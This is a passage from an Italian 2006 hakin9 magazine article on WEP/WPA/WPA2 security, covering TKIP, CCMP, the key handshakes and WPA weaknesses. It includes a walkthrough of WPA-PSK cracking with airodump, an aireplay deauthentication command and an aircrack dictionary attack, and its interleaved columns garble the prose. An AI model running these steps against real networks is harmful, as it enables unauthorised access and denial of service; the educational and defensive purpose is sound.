dal MSDU, mentre nel CCMP vene
calcolata dal MPDU.
Proprio come WEP, la TKIP si
basa sull'algoritmo di cifratura RC4,
ma esiste per una sola ragione: per
permettere ai sistemi WEP di essere
aggiornati e implementare protocolli
più sicuri. La TKIP è richiesta per la
certificazione WPA ed è anche inse-
rita nel RSN 802.11i come opzione
facoltativa. La TKIP aggiunge anche
misure correttive per tutte le vulnera-
bilità WEP descritte prima:

Fig. 9: Fase 3: Handshake a 4 vie • integrità del messaggio: una nuova


MIC (Message Integrity Protocol)
La Group Key Handshake è ri- supportano la segretezza e l'integrità chiamata Michael che può essere
chiesta solo per dissociare un host e dei dati RSNA: implementata nei software che
per rigenerare la GTK su richiesta di girano su microprocessori lenti,
un client. L'autenticatore inizializza il • TKIP (Temporal Key Hash), • IV: una nuova selezione di regole
primo messaggio scegliendo il nume- • CCMP (Counter-Mode / Cipher per i valori IV, re-utilizzando il
ro causale GNonce e calcolando una Block Chaining Message Au- vettore IV come contatore replay
nuova GTK. Poi invia al supplicant la thentication Code Protocol), (TSC, o TKIP Sequence Counter)
GTK cifrata (usando KEK), il numero • WRAP (Wireless Robust Authen- e aumentando le dimensioni del
di sequenza GTK e la MIC calcolata ticated Protocol). vettore IV per evitare il riutilizzo,
da questo messaggio usando KCK. • Funzione Per Packet Key Mixing:
Quando il supplicant riceve il mes- Prima di analizzare in dettaglio per generare chiavi di cifratura
saggio, la MIC viene verificata e la questi protocolli dobbiamo capire apparentemente non legate,
GTK può essere decifrata. un concetto importante: la differen- • gestione chiave: nuovo mecca-
Il secondo messaggio riconosce za che passa tra un MSDU (MAC nismo per la distribuzione e la
il completamento della Group Key Service Data Unit) e un MPDU (MAC modifica delle chiavi.
Handshake inviando un numero di
sequenza GTK e la MIC calcolata su
questo secondo messaggio. Dopo la
ricezione, l'autenticatore installa la
nuova GTK (dopo aver verificato il
valore MIC).
Esiste anche una STAkey Han-
dshake, ma non ne discuteremo in
questo articolo. Supporta la crea-
zione dal punto di accesso di chiavi
segrete di tipo transient chiamate
STAkey per le connessioni ad-hoc.

Fase 4: Segretezza e integrità


dei dati RSNA
Tutte le chiavi generate in prece-
denza sono usate nei protocolli che Fig. 10: Fase 3: Group Key Hierarchy

22 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

Il modello TKIP Key-Mixing si divide


in due fasi. La Fase 1 riguarda i dati
statici – la chiave di sessione segreta
TEK, l'indirizzo trasmettitore MAC TA
(per prevenire le collisioni tra vettori IV)
e i 32 bit più alti del vettore IV. La Fa-
se 2 dipende dall'output della Fase 1
e comprende i 16 bit più bassi del
vettore IV, modificando tutti i bit del
campo Per Packet Key per ogni nuovo
IV. Il valore IV inizia sempre con 0 ed
è aumentato di 1 per ogni pacchetto
inviato, con il rifiuto di qualsiasi mes-
saggio il cui TSC non è più grande del- Fig. 11: Fase 3: Group Key Handshake
l'ultimo messaggio. L'output della Fase
2 e parte del IV esteso (più un byte di Cipher Block Chaining (CBC-MAC) licenza. Il CCMP venne allora adot-
prova) sono l'input per la RC4, gene- per produrre una MIC. tato come metodo obbligatorio.
rando un keystream con un operatore Esso aggiunge altre funzio-
XOR con un MPDU in formato testo, la nalità interessanti, come l'uso di Limiti di WPA/WPA2
MIC calcolata dalla MPDU e il vecchio una singola chiave per la cifratura Anche se sono state scoperte un nu-
ICV di WEP (vedere Fig. 12). e l'autenticazione (con diversi vettori mero di limiti minori in WPA/WPA2,
Il calcolo MIC utilizza l'algoritmo di inizializzazione) o che si occupava- nessuna di queste debolezze è con-
Michael di Niels Ferguson. Venne no dati non cifrati dall'autenticazione. siderato troppo pericolo a condizione
creato per la TKIP e ha un livello di Il protocollo CCMP aggiunge 16 byte che si rispettano le raccomandazioni
sicurezza di 20 bit (l'algoritmo non usa alla MPDU: 8 byte per l'intestazione di sicurezza.
la moltiplicazione per ragioni di presta- CCMP e 8 byte per la MIC. L'intesta- La vulnerabilità più pratica è l'at-
zione, poiché deve essere supportato zione CCMP è un campo non cifrato tacco contro la chiave PSK di WPA/
da hardware wireless di vecchia ge- incluso tra l'intestazione MAC e i dati WPA2. Come abbiamo già detto, la
nerazione e deve essere aggiornato cifrati, inclusi il PN di 48 bit (Packet PSK fornisce un alternativa alla ge-
per il WPA). A causa di questi limiti, le Number = IV esteso) e il Group Key nerazione PMK di 802.1x attraverso
contromisure sono necessaire per evi- KeyID. La PN viene aumentata di un server di autenticazione. Si tratta
tare una alterazioni MIC. I guasti MIC uno per ogni MPDU successivo. di una stringa di 256 bit o passphrase
devono essere ridotti a due al minuto, Il calcolo MIC utilizza l'algoritmo di 8 a 63 caratteri usati per generare
altrimenti viene applicato un balckout CBC-MAC che cripta il blocco nonce tale stringa con un algoritmo noto:
di 60 secondi e le nuove chiavi (GTK (calcolato dai campi Priority, MPDU PSK = PMK = PBKDF2 (password,
e PTK) devono essere stabilite in un indirizzo di origine e il PN aumenta- SSID, lunghezza SSID, 4096, 256),
secondo momento. Micheal calcola un to) e i blocchi XOR successivi per dove PBKDF2 è un metodo usato in
valore di controllo di 8 ottetti chiamato ottenere una MIC finale di 64 bit (la PKCS#5, 4096 è il numero delle hash
MIC e lo aggiunge al MSDU prima MIC finale è un blocco di 128 bit, dal e 256 è la lunghezza dell'output. Il
della trasmissione. La MIC viene momento che i 64 bit più bassi sono PTK è derivato dalla PMK usando la
calcolato dall'indirizzo di origine (SA), rifiutati). Il MIC viene più aggiunto ai Handshake a 4 vie e tutte le informa-
indirizzo di destinazione (DA), MSDU dati in testo semplice per la cifratura zioni usate per calcolare il suo valore
in testo chiaro e la TMK appropriata AES in modalità contatore. Il conta- è trasmesso in testo semplice.
(a seconda dei casi, viene usata una tore è costruito da un nonce simile La forza di PTK quindi risiede
chiave diversa per la trasmissione e la a quello della MIC, ma con un cam- solo nel valore PMK che per la PSK
ricezione). po contatore in più inizializzato a 1 significa la passphrase. Come indica-
Il CCMP si basa sulla suite dei e incrementato per ogni blocco. to da Robert Moskowitz, il secondo
cifrario a blocco AES (Advanced En- L'ultimo protocollo è WRAP, messaggio della Handshake a 4 vie
cryption Standard) in modalità CCM basato anch'esso su AES, ma che potrebbe essere soggetto sia al dictio-
con le chiavi e i blocchi di 128 bit. AES utilizza il modello di cifratura auten- nary attack sia alla brute force offline.
è per CCMP quello che RC4 è per ticato OCB (Offset Codebook Mode) Cowpatty fu creata per sfruttare que-
TKIP, ma al contrario di TKIP che era (cifratura e l'autenticazione in un sto difetto,e il suo codice sorgente era
stato creato per accogliere l'hardware unico calcolo). Il modello OCB fu il stato usato e migliorato da Christophe
WEP esistente, CCMP non è un ibrido primo scelto dal gruppo di lavoro di Devine in Aircrack per consentire il
bensì un nuovo protocollo. Il CCMP IEEE 802.11i, ma venne poi abban- gli attacchi di tipo dictionary su PSK
utilizza una modalità combinato ad donato a causa di problemi legati alla e di brute force su WPA. La struttura
un messaggio di autenticazione detto proprietà intellettuale e le tariffe della del protocollo (4096 hash per ogni

www.hakin9.org hakin9 Nº 2/2006 23


Prima Pagina

Fig. 12: Modello TKIP Key-Mixing e cifratura


tentativo di password) significa che
un attacco brute force è molto lento
(solo alcune centinaia di password
per secondo con i più recenti proces-
sori singoli). Il PMK non può essere
pre-calcolato dal momento che la
passphrase viene mischiato ulterior-
mente in base alla ESSID. Per proteg-
gersi efficacemente da questo difetto
è bene scegliere una buona pas-
sphrase con parole inesistenti (alme-
Fig. 13: Calcolo MIC con l'algoritmo Michael no 20 caratteri).

Fig. 14: Cifratura CCMP

24 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

Per eseguire questo attacco, mettendoci di catturare i messaggi Handshake a 4 vie non è autenticato
l'aggressore dove catturare i mes- Handshake a 4 vie. Aireplay è usata e ogni client deve memorizzare ogni
saggi della Handshake a 4 vie moni- anche per questo attacco e dissoce- primo messaggio fino a quando non
torano passivamente la rete wireless rà il client selezionato con il BSSID riceve un terzo messaggio valido
o usando l'attacco di de-autentica- specificato inviando una richiesta di (firmato), lasciando il client vulnera-
zione (descritto prima) per velociz- dissociazione fasulla: bile all'esaurimento della memoria.
zare il processo. Falsando il primo messaggio inviato
Infatti, i primi due messaggi sono # aireplay -0 1 -a <BSSID> dal punto di accesso, un aggressore
necessari per iniziare la previsione -c <client_mac> ath0 può eseguire un DoS sul client se
dei valori PSK. Ricordate che PTK = è possibile per diverse sessioni si-
PRF-X (PMK, Pairwise key expansion, Il passo finale è di lanciare un attac- multanee di esistere.
Min(AP_Mac, STA_Mac) || Max(AP_ co di dizionario usando Aircrack (ve- Il Michael Message Integrity Co-
Mac, STA_Mac) || Min(ANonce, dere Listing 8). La Fig. 15 presenta de noto anche come debolezza che
SNonce) || Max(ANonce, SNonce)), i risultati. risulta dalla sua struttura (forzato dal
dove PMK è uguale a PSK nel nostro L'altra grande debolezza di WPA task group di 802.11i). La sicurezza di
caso. Dopo il secondo messaggio, è la possibilità di un Denial of Service Michael si basa su una comunicazione
l'aggressore conosce ANonce (dal durante la Handshake a 4 vie. Chan- cifrata. Anche se le MIC crittografiche
primo messaggio) e SNonce (dal ghua He e John C. Mitchell hanno sono di solito pianificate per resistere
secondo messaggio) e può iniziare notato che il primo messaggio della a attacchi in testo semplice noti (dove
a indovinare il valore PSK per cal-
colare il PSK e le chiavi temporanee Listing 7. Rilevazione di reti vicine
derivate. Se il PSK è indovinato giusta-
mente, il MIC del secondo messaggio # airodump ath0 wpa-crk 0

potrebbe essere ottenuto con la KCK


BSSID PWR Beacons # Data CH MB ENC ESSID
corrispondente – altrimenti una nuova 00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo
previsione deve essere fatta.
Adesso vediamo un esempio BSSID STATION PWR Packets ESSID
pratico. Inizia proprio con l'esempio 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo

del cracking del WEP. Il primo passo


è attivare la modalità monitor:
Listing 8. Lancio di un attacco di dizionario
# airmon.sh start ath0
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
Il passo successivo è di rilevare reti
Read 541 packets.
vicine e i rispettivi client associati BSSID ESSID Encryption
(vedere Listing 7). 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
Questo risultato potrebbe essere
interpretato come segue: un punto di
accesso con BSSID 00:13:10:1F:9A:
72 sta usando la cifratura WPA sul ca-
nale 1 con la SSID hakin9demo e un
client, identificato dall'indirizzo MAC
00:0C:F1:19:77:5C sono associati
e autenticati su questa rete wireless
(in altre parole la Handshake a 4 vie
è stata già fatta per questo client).
Una volta trovato la rete di inte-
resse, verrà lanciato la cattura sul
canale corretto per evitare di man-
care i pacchetti desiderati durante la
scansione di altri canali:

# airodump ath0 wpa-psk 1

i client illegittimi dovrebbero quindi


essere dissociati, obbligandoli a ini-
ziare una nuova associazione e per- Fig. 15: WPA PSK debole trovata con Aircrack

www.hakin9.org hakin9 Nº 2/2006 25


Prima Pagina

l'aggressore ha un messaggio in chiaro Mishra e forse dovuto alla mancanza ce, come wpa_supplicant – la ver-
e il proprio MIC), Micheal è vulnerabile di autenticazione. Infine, è importante sione Windows è sperimentale).
a tali attacchi perché è invertibile. Dato notare che usare il protocollo WPA/ Su Linux e *BSD, wpa_sup-
un unico messaggio noto e il suo valo- WPA2 non fornisce nessuna prote- plicant era già pronto per WPA2
re MIC, è possibile scoprire la chiave zione contro le tecnologie sottostanti, appena uscito lo standard 802.11i.
segreta MIC, quindi mantenendo il come la radio frequency jamming, Il supplicant esterno supporta una
valore MIC segreto è cruciale. L'ultima DoS attraverso violazioni 802.11, de- grande quantità di metodi EAP e le
debolezza nota è un attacco teoretico autenticazione, de-associazione, ecc. funzioni per la gestione delle chiavi
contro la Temporal Key Hash di WPA, per WPA, WPA2 e WEP. Le reti mul-
che comprende una complessità Implementazione tiple possono essere dichiarate con
ridotta dell'attacco (da ∂128 a ∂105) WPA/WPA2 OS diversi metodi di cifratura, gestione
in alcune circostanze (conoscenza di Su Windows, il supporto WPA2 delle chiavi EAP – Il Listing 9 presen-
diverse chiavi RC4). non è integrato. Un aggiornamento ta un semplice file di configurazione
WPA/WPA2 sono anche soggette per Windows XP SP2 (KB893357) WPA2. La collocazione predefinita
a vulnerabilità che colpiscono altri venne distribuito il 29 aprile 2005, per il file di configurazione wpa_sup-
meccanismi 802.11i come gli attacchi aggiungendo WPA2 e migliorando plicant è /etc/wpa_supplicant.conf,
con l'alterazione del messaggio802.1X la rilevazione della rete (vedere e il file dovrebbe solo essere acces-
(EAPoL Logoff, EAPoL Start, EAP Fig. 16). Altri sistemi operativi Mi- sibile dall'utente di root.
Failure ecc.), descritto per la prima crosoft devono usare un supplicant Il demone wpa_supplicant do-
volta da William A. Arbaugh e Arunesh esterno (commerciale o open sour- vrebbe prima essere lanciato con

Glossario
• AP – Access Point, una stazione base per una rete Wi-Fi che • MSDU – Mac Service Data Unit, pacchetto dati dopo la fram-
connette client wireless tra di essi e a reti wired. mentazione.
• ARP – Address Resolution Protocol, protocollo per la tradu- • PAE – Port Access Entity, porta logica 802.1x.
zione di indirizzi IP in indirizzi MAC. • PMK – Pairwise Master Key, chiave maestra della coppia
• BSSID – Basic Service Set Identifier, indirizzo MAC per il della gerarchia della chiave.
punto d'accesso. • PSK – Pre-Shared Key, chiave derivante da una passphrase
• CCMP – Counter-Mode / Cipher Block Chaining Message che sostituisce il PMK che si solito vienen lanciato dal un
Authentication Code Protocol, protocollo di cifratura usato in vero server autenticatore.
WPA2, basato sulla suite dei cifrari a blocco AES. • PTK – Pairwise Transient Key, chiave derivante dalla PMK.
• CRC – Cyclic Redundancy Check, algoritmo pseudo-integri- • RSN – Robust Security Network, meccanismo di sicurezza
tà usato nel protocollo WEP (debole). 802.11i (TKIP, CCMP ecc.).
• EAP – Extensible Authentication Protocol, framework per • RSNA – Robust Security Network Association, associazione
diversi metodi di autenticazione. di sicurezza usato in un RSN.
• EAPOL – EAP Over LAN, protocollo usato nelle reti wireless • RSN IE – Robust Security Network Information Element,
per il trasporto del framewrok EAP. campi contenenti le informazioni RSN incluse nella Probe
• GEK – Group Encryption Key, chiave per la cifratura dei dati Response e nella Association Request.
nel traffico multicast (usato anche per la integrità in CCMP). • SSID – Service Set Identifier, l'identificatore della rete wire-
• GIK – Group Integrity Key, chiave per la cifratura dei dati nel less (diverso da ESSID).
traffico multicast (usato in TKIP). • STA – Station, un client wireless.
• GMK – Group Master Key, chiave principale del gruppo di • TK – Temporary Key, chiave per la cifratura dei dati nel traffico
gerarchia delle chiavi. unicast (usato anche per la verifica dell'integrità in CCMP).
• GTK – Group Transient Key, chiave derivante dalla GMK. • TKIP – Temporal Key Integrity Protocol, protocollo di cifratura
• ICV – Integrity Check Value, campo dati aggiunti ai dati in usato in WPA basato sull'algoritmo RC4 (come WEP).
chiaro per l'integrità (basato sull'algoritmo debole CRC32). • TMK – Temporary MIC Key, chiave per l'integrità dei dati nel
• IV – Initialization Vector, dati combinati con la chiave di cifra- traffico unicast (usato in TKIP).
tura che produce un unico keystream. • TSC – TKIP Sequence Counter, contatore replay usato in
• KCK – Key Confirmation Key, chiave di integrità che proteg- TKIP (diverso da Extended IV).
ge i messaggi di handshake. • TSN – Transitional Security Network, meccanismo di sicu-
• KEK – Key Encryption Key, chiave di segretezza che proteg- rezza pre-802.11i (WEP ecc.).
ge i messaggi di handshake. • WEP – Wired Equivalent Privacy, protocollo di cifratura pre-
• MIC – Message Integrity Code, campo dati aggiunti ai dati in definito per le reti 802.11.
chiaro per l'integrità (basato sull'algoritmo Michael). • WPA – Wireless Protected Access, implementazione di una
• MK – Master Key, chiave maestra nota al supplicant e all'au- prima versione dello standard 802.11i, basato sull'algoritmo
tenticatore dopo il processo di autenticazione 802.1x. di cifratura TKIP.
• MPDU – Mac Protocol Data Unit, pacchetti dati prima della • WRAP – Wireless Robust Authenticated Protocol, il vecchio
frammentazione. protocollo di cifratura usato nelle WPA2.

26 hakin9 Nº 2/2006 www.hakin9.org


Sicurezza WEP, WPA e WPA2

Listing 9. File di configurazione wpa_supplicant per WPA2

ap_scan=1 # Scan radio frequency and select appropriate access


point
network={ # First wireless network
ssid="some_ssid" # SSID of the network
scan_ssid=1 # Send Probe Request to find hidden SSID
proto=RSN # RSN for WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Pre-Shared Key authentication
pairwise=CCMP # CCMP protocol (AES encryption)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}

i privilegi di root in modalità debug tare il chipset Atheros), il nome del-


(opzione -dd), con il supporto di l'interfaccia (opzione -i, nel nostro
driver corretto (nel nostro esempio caso è ath0) e un percorso al file di
Fig. 16: Supporto WPA2 su
è l'opzione -D madWi-Fi per suppor- configurazione (opzione -c):
Windows XP SP2
# wpa_supplicant
Cenni sull'autore
-D madWi-Fi
Guillaume Lehembre è un consulente francese che si occupa della sicurezza informa-
tica presso la HSC (Hervé Schauer Consultants – http://www.hsc.fr) dal 2004. Durante -dd -c /etc/wpa_supplicant.conf

la sua lunga e varieggiata carriera professionale si è occupato di certificazioni, studi e -i ath0


test di penetrazione, acquisendo una notevole esperienza nella sicurezza wireless. Ha
anche tenuto delle conferenze e pubblicato degli studi sulla sicurezza. Potete contatta- Tutte le fasi teoriche descritte appena
re Guillaume al suo indirizzo email: Guillaume.Lehembre@hsc.fr. sono output in modalità debug (asso-
ciazione AP, autenticazione 802.1X,
Handshake a 4 vie ecc.). Appena
è tutto funzionante, wpa_supplicant
In Rete dovrebbe essere eseguito in moda-
• http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – standard IEEE lità demone (sostituite l'opzione -dd
802.11i, con -B).
• http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi Su Macintosh, WPA2 è suppor-
Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley tato con la versione dell'aggiorna-
– ISBN: 0-321-13620-9, mento 4.2 di Apple AirPort software:
• http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – Un attacco induttivo in forma- AirPort Extreme-enabled Macinto-
to testo contro WEP/WEP2 (Arbaugh), shes, AirPort Extreme Base Station
• http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Debolezze dell'algoritmo e AirPort Express.
Key Scheduling della RC4 (Fluhrer, Mantin, Shamir),
• http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – ottimizzazione
h1kari,
Conclusioni
• http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – articolo Intercepting Mobi-
Ci sembra chiaro che la cifratura WEP
le Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner), non fornisce abbastanza sicurezza in
• http://airsnort.shmoo.com/ – AirSnort, ambito delle reti wireless e può essere
• http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine), usata solo con soluzioni di cifratura di
• http://weplab.sourceforge.net/ – Weplab (Sanchez), livello più alto (come VPN). WPA è una
• http://www.Wi-Finetnews.com/archives/002452.html – limiti di WPA PSK (Mo- soluzione sicura per dispositivi che si
skowitz), possono aggiornare e che non sup-
• http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – strumenti per il portano WPA2, ma WPA2 diventerà
crack con Cowpatty WPA-PSK, presso lo standard per la sicurezza
• http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analisi della han-
wireless. Non dimenticate di mettere
dshake a 4 vie 802.11i (He, Mitchell),
i vostri dispositivi wireless in una zona
• http://www.cs.umd.edu/%7ewaa/1x.pdf – Un'analisi iniziale della sicurezza dello
standard IEEE 802.1X (Arbaugh, Mishra),
filtrata e mantenere una connessione
• http://support.microsoft.com/?kbid=893357 – Aggiornamento WPA2 per Micro- wired a portata di mano per le reti mis-
soft Windows XP SP2, sion-critical ad alta prestazione – radio
• http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant, frequency jamming e attacchi di bas-
• http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Parte 1, so livello (violazione dello standard
• http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Parte 2. 802.11, de-associazioni fasulle, ecc)
possono ancora essere devastanti. l

www.hakin9.org hakin9 Nº 2/2006 27